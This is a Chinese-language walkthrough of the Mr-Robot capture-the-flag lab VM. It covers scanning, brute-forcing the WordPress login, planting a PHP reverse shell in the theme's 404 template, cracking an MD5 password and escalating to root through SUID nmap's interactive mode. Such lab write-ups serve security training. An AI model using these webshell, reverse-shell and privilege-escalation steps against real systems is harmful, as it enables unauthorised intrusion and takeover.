详细RM-ROBOT靶机打靶

1.找出靶机IP

nmap -sn 192.168.37.0/24 -oG -

2.端口与服务扫描

nmap -sV 192.168.37.134

3.网站目录扫描

执行dirsearch -u http://192.168.37.134，如果没有安装先执行sudo apt install dirsearch安装

sudo apt install dirsearch

对网站进行目录扫描，暴力探测网站存在的隐藏路径、后台、敏感文件

dirsearch -u http://192.168.37.134

快速过滤出真实存在可访问的页面 / 文件

grep "200" /home/kali/桌面/reports/http_192.168.37.134/*.txt

浏览器访问http://192.168.37.134/robots.txt

User-agent: *：对所有搜索引擎爬虫生效
fsocity.dic：密码字典文件，后面爆破 WordPress 登录用
key-1-of-3.txt：第一枚 flag，直接浏览器访问这个路径就能拿到 flag1

获取第一个flag

wget http://192.168.37.134/key-1-of-3.txt && cat key-1-of-3.tx

4.下载字典并去重

wget http://192.168.37.134/fsocity.dic

统计字典

wc -l fsocity.dic

去重后字典，体积大幅缩小，爆破速度更快

sort -u fsocity.dic | wc -l

生成去重后的新字典

sort -u fsocity.dic > test.dic

5.利用 Burp Suite 的 Intruder 模块，加载预处理去重后的字典对 WordPress 登录接口实施暴力破解，成功得到后台登录凭据：用户名 elliot，密码 ER28-0652

6.定制 404 页面植入 WebShell

浏览器访问http://192.168.37.134/wp-login.php进入WordPress登录界面

单击左上角WordPress 的 logo，可见靶机使用的 WordPress 版本为 4.3.1

进入后台 Appearance→Themes 页面，确认网站当前激活主题为 Twenty Fifteen

进入 Appearance→Editor 主题编辑器，定位 404.php 模板；先备份原有页面代码，再通过cat命令读取 Kali 自带的php-reverse-shell.php反弹 Shell 源码，将源码替换写入 404.php 文件

cat  /usr/share/webshells/php/php-reverse-shell.php

修改反弹 Shell 代码内的$ip为 Kali 主机 IP，$port设置为后续监听端口，配置完成后点击 Update File 保存模板文件

7.监听端口并获取反弹 Shell

新建 Kali 终端执行nc -lp 1234开启端口监听，在浏览器访问靶机不存在的路径，触发 404.php 模板中的反弹 Shell 代码运行

靶机成功回连 Kali 监听端口，获取 daemon 权限的反弹 Shell；出现tty报错属于非交互式 shell 的正常提示，可执行基础系统命令

获取反弹 Shell 后，执行python -c "import pty;pty.spawn('/bin/bash')"将其升级为交互式 Shell，使用 whoami 确认当前权限为 daemon

python -c "import pty;pty.spawn('/bin/bash')"

whoami

8.查找 Flag 并解密 MD5

使用find / -name "key-*.txt" 2>/dev/null在靶机全盘搜索 flag 文件，重定向错误信息屏蔽权限报错，成功检索到两个 key 文件

find / -name "key-*.txt" 2>/dev/null

尝试使用 cat 读取/home/robot/key-2-of-3.txt，当前 daemon 用户权限不足，返回 Permission denied，无法读取该文件

cat /home/robot/key-2-of-3.txt

尝试读取 robot 目录下的密码文件，成功获取 robot 账号的 MD5 密文c3fcd3d76192e4007dfb496cca67e13b，下一步对 MD5 哈希解密，获取 robot 明文密码用于切换用户

cat /home/robot/password.raw-md5

根据文件名提示，确认字符串c3fcd3d76192e4007dfb496cca67e13b为 MD5 哈希，使用解密工具进行碰撞解密，得到明文密码：abcdefghijklmnopqrstuvwxyz

执行su - robot，填入解密后的密码，成功切换至 robot 用户，通过whoami确认用户身份，读取key-2-of-3.txt，获取第二个 flag

su - robot

whoami

cat  key-2-of-3.txt

9.Nmap SUID 权限利用 —— 交互模式提权

执行 find / -perm -4000 2>/dev/null 搜索系统 SUID 文件，排查可利用的提权程序，发现 /usr/local/bin/nmap 拥有 SUID 权限，可作为提权利用点

find / -perm -4000 2>/dev/null

执行 /usr/local/bin/nmap -h 查看程序帮助，确认 nmap 版本为 3.81，该版本支持交互式模式，是可用于提权的版本

/usr/local/bin/nmap -h

运行/usr/local/bin/nmap --interactive，成功进入 nmap 交互模式，接下来使用!sh命令调用系统 shell，实现提权

/usr/local/bin/nmap --interactive

root 权限下进入/root目录，发现key-3-of-3.txt，读取得到第三个 flag

cd /root

ls

cat key-3-of-3.txt